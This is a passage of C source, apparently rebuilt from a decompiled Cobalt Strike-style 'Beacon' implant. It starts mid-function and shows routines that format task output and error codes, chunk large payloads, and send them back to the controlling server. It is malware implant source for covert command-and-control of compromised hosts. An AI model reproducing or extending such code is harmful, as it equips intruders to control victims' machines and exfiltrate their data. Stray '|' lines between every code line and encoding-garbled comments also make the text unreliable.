if (g_BeaconStart == 1)
|
||
{
|
||
sub_10002340(out_encrypt_data_len, encrypt_data, delay);
|
||
}
|
||
free(encrypt_data);
|
||
}
|
||
}
|
||
|
||
|
||
void sub_10001D10(int data_Size, char* data, int type)
|
||
{
|
||
int shouldChunkPosts = get_dword(28);
|
||
formatp pformatp;
|
||
BeaconFormatAlloc(&pformatp, 2 * shouldChunkPosts);
|
||
BeaconFormatInt(&pformatp, data_Size + 4);
|
||
BeaconFormatInt(&pformatp, type);
|
||
BeaconFormatAppend(&pformatp, data, shouldChunkPosts - 8);
|
||
char* pdata1 = &data[shouldChunkPosts - 8];
|
||
int pdata2 = shouldChunkPosts - 8;
|
||
int buffer_length = BeaconFormatlength(&pformatp);
|
||
char* buffer = BeaconFormatOriginalPtr(&pformatp);
|
||
sub_10001287(buffer, buffer_length, 0x1C, 1);
|
||
BeaconFormatFree(&pformatp);
|
||
|
||
int v1 = 0;
|
||
if (shouldChunkPosts - 8 < data_Size)
|
||
{
|
||
do
|
||
{
|
||
v1 = data_Size - pdata2;
|
||
if (data_Size - pdata2 > shouldChunkPosts)
|
||
{
|
||
v1 = shouldChunkPosts;
|
||
}
|
||
sub_10001287(pdata1, v1, 0x1D, 1);
|
||
pdata2 += v1;
|
||
pdata1 += v1;
|
||
} while (pdata2 < data_Size);
|
||
}
|
||
}
|
||
|
||
|
||
void sub_10001DCD(size_t data_Size, char* data, int type)
|
||
{
|
||
if (data_Size <= get_dword(28))
|
||
{
|
||
sub_10001287(data, data_Size, type, 1);
|
||
}
|
||
else
|
||
{
|
||
sub_10001D10(data_Size, data, type);
|
||
}
|
||
}
|
||
|
||
|
||
|
||
/// <summary>
|
||
/// ·¢ËÍBeaconÈÎÎñÖ´ÐÐÊä³öµ½server
|
||
/// </summary>
|
||
/// <param name="data"></param>
|
||
/// <param name="len"></param>
|
||
/// <param name="type"></param>
|
||
void BeaconTaskOutput(char* data, int len, int type)
|
||
{
|
||
if (g_BeaconStart == 1 && get_dword(28))//28·Ö¿é±êʶ
|
||
{
|
||
sub_10001DCD(len, data, type);
|
||
}
|
||
else
|
||
{
|
||
sub_10001287(data, len, type, 0);
|
||
}
|
||
}
|
||
|
||
/// <summary>
|
||
/// ÓÃÓÚרÃű¨¸æ´íÎó
|
||
/// </summary>
|
||
/// <param name="BeaconErrorsType"></param>
|
||
/// <param name="err_code_1"></param>
|
||
/// <param name="err_code_2"></param>
|
||
/// <param name="buffer"></param>
|
||
void BeaconTaskErrorOutput(u_long BeaconErrorsType, int err_code_1, u_long err_code_2, char* buffer)
|
||
{
|
||
formatp pformatp;
|
||
BeaconFormatAlloc(&pformatp, 2048);
|
||
BeaconFormatInt(&pformatp, BeaconErrorsType);
|
||
BeaconFormatInt(&pformatp, err_code_1);
|
||
BeaconFormatInt(&pformatp, err_code_2);
|
||
if (buffer)
|
||
{
|
||
BeaconFormatAppend(&pformatp, buffer, strlen(buffer));
|
||
}
|
||
int size = BeaconFormatlength(&pformatp);
|
||
char* data = BeaconFormatOriginalPtr(&pformatp);
|
||
BeaconTaskOutput(data, size, CALLBACK_ERROR);
|
||
BeaconFormatFree(&pformatp);
|
||
}
|
||
|
||
void BeaconTaskError1Output(int BeaconErrorsType, int err_code, char* data)
|
||
{
|
||
BeaconTaskErrorOutput(BeaconErrorsType, err_code, 0, data);
|
||
}
|
||
void BeaconErrorD(int BeaconErrorsType, DWORD error_code)
|
||
{
|
||
BeaconTaskErrorOutput(BeaconErrorsType, error_code, 0, 0);
|
||
}
|
||
|
||
void BeaconErrorNA(int BeaconErrorsType)
|
||
{
|
||
BeaconTaskErrorOutput(BeaconErrorsType, 0, 0, 0);
|
||
}
|
||
|
||
void BeaconErrorDD(int BeaconErrorsType, int err_msg, u_long err_code_msg)
|
||
{
|
||
BeaconTaskErrorOutput(BeaconErrorsType, err_msg, err_code_msg, 0);
|
||
}
|
||
|
||
void BeaconErrorFormat(int BeaconErrorsType, char* Format, ...)
|
||
{
|
||
char Buffer[2048];
|
||
va_list ArgList;
|
||
|
||
va_start(ArgList, Format);
|
||
vsprintf_s(Buffer, 0x800, Format, ArgList);
|
||
BeaconTaskErrorOutput(BeaconErrorsType, 0, 0, Buffer);
|
||
}
|